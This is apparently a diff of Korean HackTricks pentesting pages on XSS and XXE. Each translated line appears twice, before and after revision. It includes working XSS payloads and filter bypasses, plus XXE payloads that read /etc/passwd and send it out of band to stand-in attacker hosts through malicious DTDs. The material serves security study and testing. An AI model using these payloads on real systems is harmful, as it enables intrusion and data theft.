하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어,
> .test {display:block; color: blue; width: 100%\}
@ -475,11 +475,11 @@ onbeforetoggle="alert(2)" />
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 스크립트 블록 식별이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다.
이 예제에서는 **단일 인용부호를 닫지 않았습니다**. 이는 **HTML 파싱이 먼저 브라우저에 의해 수행되기 때문**입니다. 여기에는 페이지 요소, 즉 스크립트 블록을 식별하는 과정이 포함됩니다. JavaScript의 파싱은 내장된 스크립트를 이해하고 실행하기 위해 그 이후에만 수행됩니다.
### JS 코드 내부
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 있을 경우 JS 코드가 실행되지 않기 때문입니다:
`<>`가 정리되고 있다면 여전히 **문자열을 이스케이프**할 수 있으며, 입력이 **위치한 곳**에서 **임의의 JS를 실행**할 수 있습니다. JS 구문을 **수정하는 것이 중요**합니다. 오류가 발생하면 JS 코드가 실행되지 않기 때문입니다:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -487,7 +487,7 @@ onbeforetoggle="alert(2)" />
```
### 템플릿 리터럴 \`\`
단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `**도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
단일 및 이중 따옴표 외에 **문자열**을 구성하기 위해 JS는 **백틱** **` `` `** 도 허용합니다. 이는 템플릿 리터럴로 알려져 있으며, `${ ... }` 구문을 사용하여 **JS 표현식**을 **내장**할 수 있습니다.\
따라서 입력이 백틱을 사용하는 JS 문자열 내에서 **반영**되고 있음을 발견하면, `${ ... }` 구문을 악용하여 **임의의 JS 코드**를 실행할 수 있습니다:
이것은 다음과 같이 **악용**될 수 있습니다:
@ -739,20 +739,20 @@ top[8680439..toString(30)](1)
## **DOM 취약점**
공격자가 제어하는 **안전하지 않은 데이터**를 사용하는 **JS 코드**가 있습니다. 예를 들어 `location.href`와 같은 것입니다. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다.\
**DOM 취약점에 대한 설명이 확장되어** [**이 페이지로 이동했습니다**](dom-xss.md)**:**
**DOM 취약점에 대한 설명이 길어져서** [**이 페이지로 이동했습니다**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
여기에서 **DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 설명을 찾을 수 있습니다**.\
또한, **언급된 게시물의 끝에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾을 수 있다는 것을 잊지 마세요.
여기에서 DOM 취약점이 무엇인지, 어떻게 발생하는지, 그리고 이를 어떻게 악용할 수 있는지에 대한 자세한 **설명을 찾을 수 있습니다**.\
또한, 언급된 게시물의 **끝부분에서** [**DOM Clobbering 공격**](dom-xss.md#dom-clobbering)에 대한 설명을 찾는 것을 잊지 마세요.
### Self-XSS 업그레이드
### 쿠키 XSS
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인을 찾으면**, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토스 공격을 사용할 수 있습니다:
쿠키 안에 페이로드를 보내서 XSS를 유발할 수 있다면, 이는 보통 self-XSS입니다. 그러나 **XSS에 취약한 서브도메인**을 찾으면, 이 XSS를 악용하여 전체 도메인에 쿠키를 주입하여 메인 도메인이나 다른 서브도메인(쿠키 XSS에 취약한 것)에서 쿠키 XSS를 유발할 수 있습니다. 이를 위해 쿠키 토스 공격을 사용할 수 있습니다:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -762,11 +762,11 @@ dom-xss.md
### 세션을 관리자에게 전송하기
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 때 취약점이 발생할 수 있습니다.
사용자가 자신의 프로필을 관리자와 공유할 수 있으며, 만약 self XSS가 사용자의 프로필 안에 있다면 관리자가 이를 접근할 경우 취약점이 발생할 수 있습니다.
### 세션 미러링
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 볼 수 있습니다.
self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링**이 있는 경우, 예를 들어 클라이언트가 도움을 요청할 수 있도록 하여 관리자가 당신을 도와주기 위해 당신의 세션에서 보고 있는 것을 자신의 세션에서 보게 됩니다.
당신은 **관리자가 당신의 self XSS를 유발하게 하고 그의 쿠키/세션을 탈취할 수 있습니다**.
@ -774,7 +774,7 @@ self XSS를 발견하고 웹 페이지에 **관리자를 위한 세션 미러링
### 정규화된 유니코드
서버(또는 클라이언트 측)에서 **반영된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting).
서버(또는 클라이언트 측)에서 **반사된 값**이 **유니코드 정규화**되고 있는지 확인하고 이 기능을 악용하여 보호를 우회할 수 있습니다. [**여기에서 예를 찾으세요**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL 플래그 우회
```javascript
@ -825,22 +825,22 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
만약 **302 Redirect 응답에서 헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
302 Redirect 응답에서 **헤더를 주입할 수 있다면**, **브라우저가 임의의 JavaScript를 실행하도록 시도할 수 있습니다**. 이는 **간단하지 않습니다**. 현대 브라우저는 HTTP 응답 상태 코드가 302인 경우 HTTP 응답 본문을 해석하지 않기 때문에, 단순한 크로스 사이트 스크립팅 페이로드는 무용지물입니다.
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하고, 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인하는 방법을 읽을 수 있습니다.\
[**이 보고서**](https://www.gremwell.com/firefox-xss-302)와 [**이 보고서**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)에서 Location 헤더 내에서 여러 프로토콜을 테스트하는 방법과 그 중 어떤 것이 브라우저가 본문 내의 XSS 페이로드를 검사하고 실행할 수 있도록 허용하는지 확인할 수 있습니다.\
과거에 알려진 프로토콜: `mailto://`, `//x:1/`, `ws://`, `wss://`, _빈 Location 헤더_, `resource://`.
### Only Letters, Numbers and Dots
만약 **callback**을 지정할 수 있다면, javascript가 **실행할** 수 있는 문자로 제한됩니다. [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾기 위해.
JavaScript가 **실행할** **콜백**을 이러한 문자로 제한하여 지정할 수 있다면, [**이 게시물의 이 섹션을 읽어보세요**](#javascript-function) 이 동작을 악용하는 방법을 찾을 수 있습니다.
### Valid `<script>` Content-Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) 만약 `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) `application/octet-stream`과 같은 **content-type**으로 스크립트를 로드하려고 하면, Chrome은 다음과 같은 오류를 발생시킵니다:
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome이 **로드된 스크립트**를 실행할 수 있도록 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것들입니다.
Chrome이 **로드된 스크립트**를 실행하는 데 지원하는 유일한 **Content-Type**은 [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)에서 const **`kSupportedJavascriptTypes`**에 있는 것입니다.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -868,8 +868,8 @@ const char* const kSupportedJavascriptTypes[] = {
```html
<script type="???"></script>
```
- **모듈** (기본, 설명할 것 없음)
- [**웹 번들**](https://web.dev/web-bundles/): 웹 번들은 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
- **module** (기본값, 설명할 필요 없음)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles는 HTML, CSS, JS 등 여러 데이터를 **`.wbn`** 파일로 패키징할 수 있는 기능입니다.
```html
<script type="webbundle">
{
@ -879,7 +879,7 @@ const char* const kSupportedJavascriptTypes[] = {
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** 가져오기 구문을 개선할 수 있게 해줍니다.
- [**importmap**](https://github.com/WICG/import-maps)**:** 가져오기 구문을 개선할 수 있도록 허용합니다.
```html
<script type="importmap">
{
@ -896,7 +896,7 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있도록 악용하는 데 사용되었습니다.
이 행동은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 재매핑하여 eval을 사용해 XSS를 유발하는 데 악용할 수 있도록 하는 데 사용되었습니다.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리 렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다:
```html
@ -984,7 +984,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
만약 **모든 것이 정의되지 않은 상태**에서 신뢰할 수 없는 코드를 실행한다면 (예: [**이 글**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 유용한 객체를 "무에서" 생성하여 임의의 신뢰할 수 없는 코드 실행을 악용할 수 있습니다:
만약 **모든 것이 정의되지 않은 상태**에서 신뢰할 수 없는 코드를 실행한다면 (예: [**이 글**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) 유용한 객체를 "아무것도 없는 상태"에서 생성하여 임의의 신뢰할 수 없는 코드 실행을 악용할 수 있습니다:
- import() 사용하기
```javascript
@ -1008,7 +1008,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
이전 예와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
이전 예제와 유사하게, **error handlers**를 사용하여 모듈의 **wrapper**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다:
```javascript
try {
null.f()
@ -1237,7 +1237,7 @@ steal-info-js.md
### Iframe 트랩
사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
사용자가 iframe을 벗어나지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함):
{{#ref}}
../iframe-traps.md
@ -1359,7 +1359,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
```
_짧은 시간은 응답하는 포트를 나타냅니다._ _긴 시간은 응답이 없음을 나타냅니다._
Chrome에서 차단된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
Chrome에서 금지된 포트 목록을 [**여기**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc)에서 확인하고, Firefox에서는 [**여기**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)에서 확인하세요.
### 자격 증명을 요청하는 상자
```html
@ -1497,7 +1497,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Access Hidden Content
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다:
[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 정규 표현식의 입력값이 제거된 후에도 여전히 찾을 수 있습니다:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1536,7 +1536,7 @@ xss-in-markdown.md
```python
<esi:include src="http://yoursite.com/capture" />
```
쿠키 제한, XSS 필터 등을 우회하는 데 사용하세요!\
쿠키 제한, XSS 필터 및 그 이상을 우회하는 데 사용하세요!\
이 기술에 대한 더 많은 정보는 여기에서 확인하세요: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### 동적으로 생성된 PDF에서의 XSS
@ -1620,15 +1620,15 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
더 많은 SVG 페이로드를 찾으려면 [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) 를 참조하세요.
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## 기타 JS 트릭 및 관련 정보
## Misc JS Tricks & Relevant Info
{{#ref}}
other-js-tricks.md
{{#endref}}
## XSS 리소스
## XSS resources
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)

102
src/pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -2,23 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
## XML 기초
## XML Basics
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. HTML과는 달리 미리 정의된 태그 집합에 제한되지 않습니다. JSON의 부상으로 XML의 중요성은 감소했지만, AJAX 기술에서의 초기 역할은 여전히 중요합니다.
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설명적으로 명명된 태그를 사용할 수 있는 유연한 구조를 특징으로 합니다. XML은 미리 정의된 태그 집합에 제한되지 않기 때문에 HTML과 다릅니다. JSON의 부상으로 XML의 중요성은 감소했지만, 초기 AJAX 기술에서 중요한 역할을 했습니다.
- **엔티티를 통한 데이터 표현**: XML의 엔티티는 `&lt;` 및 `&gt;`와 같은 특수 문자를 포함한 데이터 표현을 가능하게 하며, 이는 XML의 태그 시스템과의 충돌을 피하기 위해 `<` 및 `>`에 해당합니다.
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있게 하여 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
- **XML 요소 정의**: XML은 요소 유형을 정의할 수 있으며, 요소가 어떻게 구조화되어야 하고 어떤 내용을 포함할 수 있는지를 설명합니다. 이는 모든 유형의 콘텐츠에서 특정 자식 요소에 이르기까지 다양합니다.
- **문서 유형 정의 (DTD)**: DTD는 XML에서 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 중요합니다. DTD는 내부, 외부 또는 조합으로 존재할 수 있으며, 문서의 형식과 유효성을 안내합니다.
- **사용자 정의 및 외부 엔티티**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으키며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **사용자 정의 및 외부 엔티티**: XML은 DTD 내에서 유연한 데이터 표현을 위해 사용자 정의 엔티티 생성을 지원합니다. URL로 정의된 외부 엔티티는 보안 문제를 일으키며, 특히 XML 외부 엔티티(XXE) 공격의 맥락에서 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **매개변수 엔티티를 통한 XXE 탐지**: XXE 취약점을 탐지하기 위해, 특히 파서 보안 조치로 인해 기존 방법이 실패할 때 XML 매개변수 엔티티를 활용할 수 있습니다. 이러한 엔티티는 DNS 조회 또는 제어된 도메인에 대한 HTTP 요청을 트리거하는 등의 비대면 탐지 기술을 허용하여 취약성을 확인합니다.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## 주요 공격
## Main attacks
[**이 공격의 대부분은 훌륭한 Portswiggers XEE 실험실을 사용하여 테스트되었습니다: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### 새로운 엔티티 테스트
### New Entity test
이 공격에서는 간단한 새로운 ENTITY 선언이 작동하는지 테스트할 것입니다.
```xml
@ -33,9 +33,9 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
### 파일 읽기
다양한 방법으로 `/etc/passwd`를 읽어보겠습니다. Windows에서는 `C:\windows\system32\drivers\etc\hosts`를 읽어볼 수 있습니다.
다양한 방법으로 `/etc/passwd`를 읽어보겠습니다. Windows의 경우 `C:\windows\system32\drivers\etc\hosts`를 읽어보세요.
첫 번째 경우에서 SYSTEM "_\*\*file:///\*\*etc/passwd_"도 작동한다는 점에 유의하세요.
첫 번째 경우에서 SYSTEM "_**file:///**etc/passwd_"도 작동한다는 점에 유의하세요.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -43,7 +43,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 설
```
![](<../images/image (86).png>)
이 두 번째 사례는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용해야 합니다 (Portswiggers 실험실의 경우는 아님)
이 두 번째 사례는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용해야 합니다 (Portswiggers 실험실의 경우는 아님).
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -83,7 +83,7 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
```
### Blind SSRF
**이전에 언급된 기술**을 사용하여 서버가 당신이 제어하는 서버에 접근하게 하여 취약성을 보여줄 수 있습니다. 그러나, 만약 그것이 작동하지 않는다면, 아마도 **XML 엔티티가 허용되지 않기 때문**일 수 있습니다. 이 경우 **XML 파라미터 엔티티**를 사용해 볼 수 있습니다:
이전에 언급된 기술을 사용하여 서버가 당신이 제어하는 서버에 접근하게 하여 취약성을 보여줄 수 있습니다. 그러나, 만약 그것이 작동하지 않는다면, 아마도 **XML 엔티티가 허용되지 않기 때문**일 수 있습니다. 이 경우 **XML 파라미터 엔티티**를 사용해 볼 수 있습니다:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -91,7 +91,7 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
```
### "Blind" SSRF - Exfiltrate data out-of-band
**이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송합니다 (다중 행 파일의 경우 \_ftp://**\_를 통해 전송해 볼 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다. 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
**이번 경우에는 서버가 악성 페이로드가 포함된 새로운 DTD를 로드하도록 하여 파일의 내용을 HTTP 요청을 통해 전송하게 할 것입니다 (다중 라인 파일의 경우 \_ftp://**\_를 통해 전송을 시도할 수 있습니다. 예를 들어 이 기본 서버 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**를 사용할 수 있습니다). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
주어진 악성 DTD에서는 데이터를 유출하기 위해 일련의 단계가 수행됩니다:
@ -113,7 +113,7 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
- `%eval` 엔티티가 사용되어 `%exfiltrate` 엔티티의 동적 선언이 실행됩니다.
- 그 후 `%exfiltrate` 엔티티가 사용되어 파일의 내용을 포함한 HTTP 요청이 지정된 URL로 전송됩니다.
공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에서 호스팅합니다.
공격자는 이 악성 DTD를 자신이 제어하는 서버에 호스팅하며, 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에 위치합니다.
**XXE 페이로드:** 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:
```xml
@ -125,16 +125,16 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
### 오류 기반(외부 DTD)
**이 경우, 서버가 파일의 내용을 오류 메시지 안에 표시하는 악성 DTD를 로드하도록 만들 것입니다(오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
**이 경우, 서버가 오류 메시지 내에서 파일의 내용을 표시하는 악의적인 DTD를 로드하도록 만들 것입니다(이는 오류 메시지를 볼 수 있는 경우에만 유효합니다).** [**여기서 예시.**](https://portswigger.net/web-security/xxe/blind)
악성 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계로 수행됩니다:
악의적인 외부 문서 유형 정의(DTD)를 사용하여 `/etc/passwd` 파일의 내용을 드러내는 XML 파싱 오류 메시지를 유발할 수 있습니다. 이는 다음 단계로 수행됩니다:
1. `file`이라는 XML 매개변수 엔티티가 정의되며, 이 엔티티는 `/etc/passwd` 파일의 내용을 포함합니다.
2. `eval`이라는 XML 매개변수 엔티티가 정의되며, 이는 `error`라는 또 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함합니다. 이 `error` 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, `file` 엔티티의 내용을 이름으로 사용합니다.
1. `/etc/passwd` 파일의 내용을 포함하는 `file`이라는 XML 매개변수 엔티티가 정의됩니다.
2. `error`라는 또 다른 XML 매개변수 엔티티에 대한 동적 선언을 포함하는 `eval`이라는 XML 매개변수 엔티티가 정의됩니다. 이 `error` 엔티티는 평가될 때 존재하지 않는 파일을 로드하려고 시도하며, `file` 엔티티의 내용을 이름으로 사용합니다.
3. `eval` 엔티티가 호출되어 `error` 엔티티의 동적 선언이 이루어집니다.
4. `error` 엔티티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, `/etc/passwd` 파일의 내용을 파일 이름의 일부로 포함하는 오류 메시지를 생성합니다.
4. `error` 엔티티의 호출은 존재하지 않는 파일을 로드하려고 시도하여, 파일 이름의 일부로 `/etc/passwd` 파일의 내용을 포함하는 오류 메시지를 생성합니다.
악성 외부 DTD는 다음 XML로 호출될 수 있습니다:
악의적인 외부 DTD는 다음 XML로 호출될 수 있습니다:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -144,15 +144,15 @@ XXE는 클라우드 내에서 SSRF를 악용하는 데 사용될 수 있습니
![](<../images/image (809).png>)
_**외부 DTD는 두 번째 안에 하나의 엔티티를 포함할 수 있게 해주지만 (\*\***`eval`\***\*), 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다 (보통).**_
_**외부 DTD는 두 번째 `eval` 내에 하나의 엔티티를 포함할 수 있도록 허용하지만, 내부 DTD에서는 금지됩니다. 따라서 외부 DTD를 사용하지 않고는 오류를 강제할 수 없습니다(일반적으로).**_
### **오류 기반 (시스템 DTD)**
그렇다면 **아웃 오브 밴드 상호작용이 차단된** 경우 블라인드 XXE 취약점은 어떻게 될까요?
그렇다면 **외부 상호작용이 차단된** 블라인드 XXE 취약점은 어떻게 될까요(외부 연결이 불가능한 경우)?
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 아웃 오브 밴드 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출할 수 있습니다**. 이 문제는 외부에서 선언된 엔티티의 내부 재정의를 허용하여 오류 기반 XXE 공격의 실행을 용이하게 합니다. 이러한 공격은 원래 외부 DTD에서 선언된 XML 매개변수 엔티티의 재정의를 악용합니다. 서버에 의해 외부 연결이 차단되면 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 민감한 정보를 드러내기 위해 구문 오류를 유도하는 것을 목표로 합니다.
서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 `custom_entity`라는 엔티티를 정의하는 DTD 파일이 있다고 가정해 보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
서버의 파일 시스템에 `/usr/local/app/schema.dtd`에 DTD 파일이 포함되어 있고, `custom_entity`라는 엔티티를 정의하고 있다고 가정해 보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 드러내는 XML 구문 오류를 유도할 수 있습니다:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -167,7 +167,7 @@ XML 언어 사양의 허점은 **문서의 DTD가 내부 및 외부 선언을
```
다음 단계는 이 DTD에 의해 실행됩니다:
- `local_dtd`라는 XML 매개변수 엔티티의 정의에는 서버의 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.
- `local_dtd`라는 XML 매개변수 엔티티의 정의는 서버의 파일 시스템에 위치한 외부 DTD 파일을 포함합니다.
- 외부 DTD에서 원래 정의된 `custom_entity` XML 매개변수 엔티티에 대한 재정의가 발생하여 [오류 기반 XXE 익스플로잇](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 오류를 유도하여 `/etc/passwd` 파일의 내용을 노출하도록 설계되었습니다.
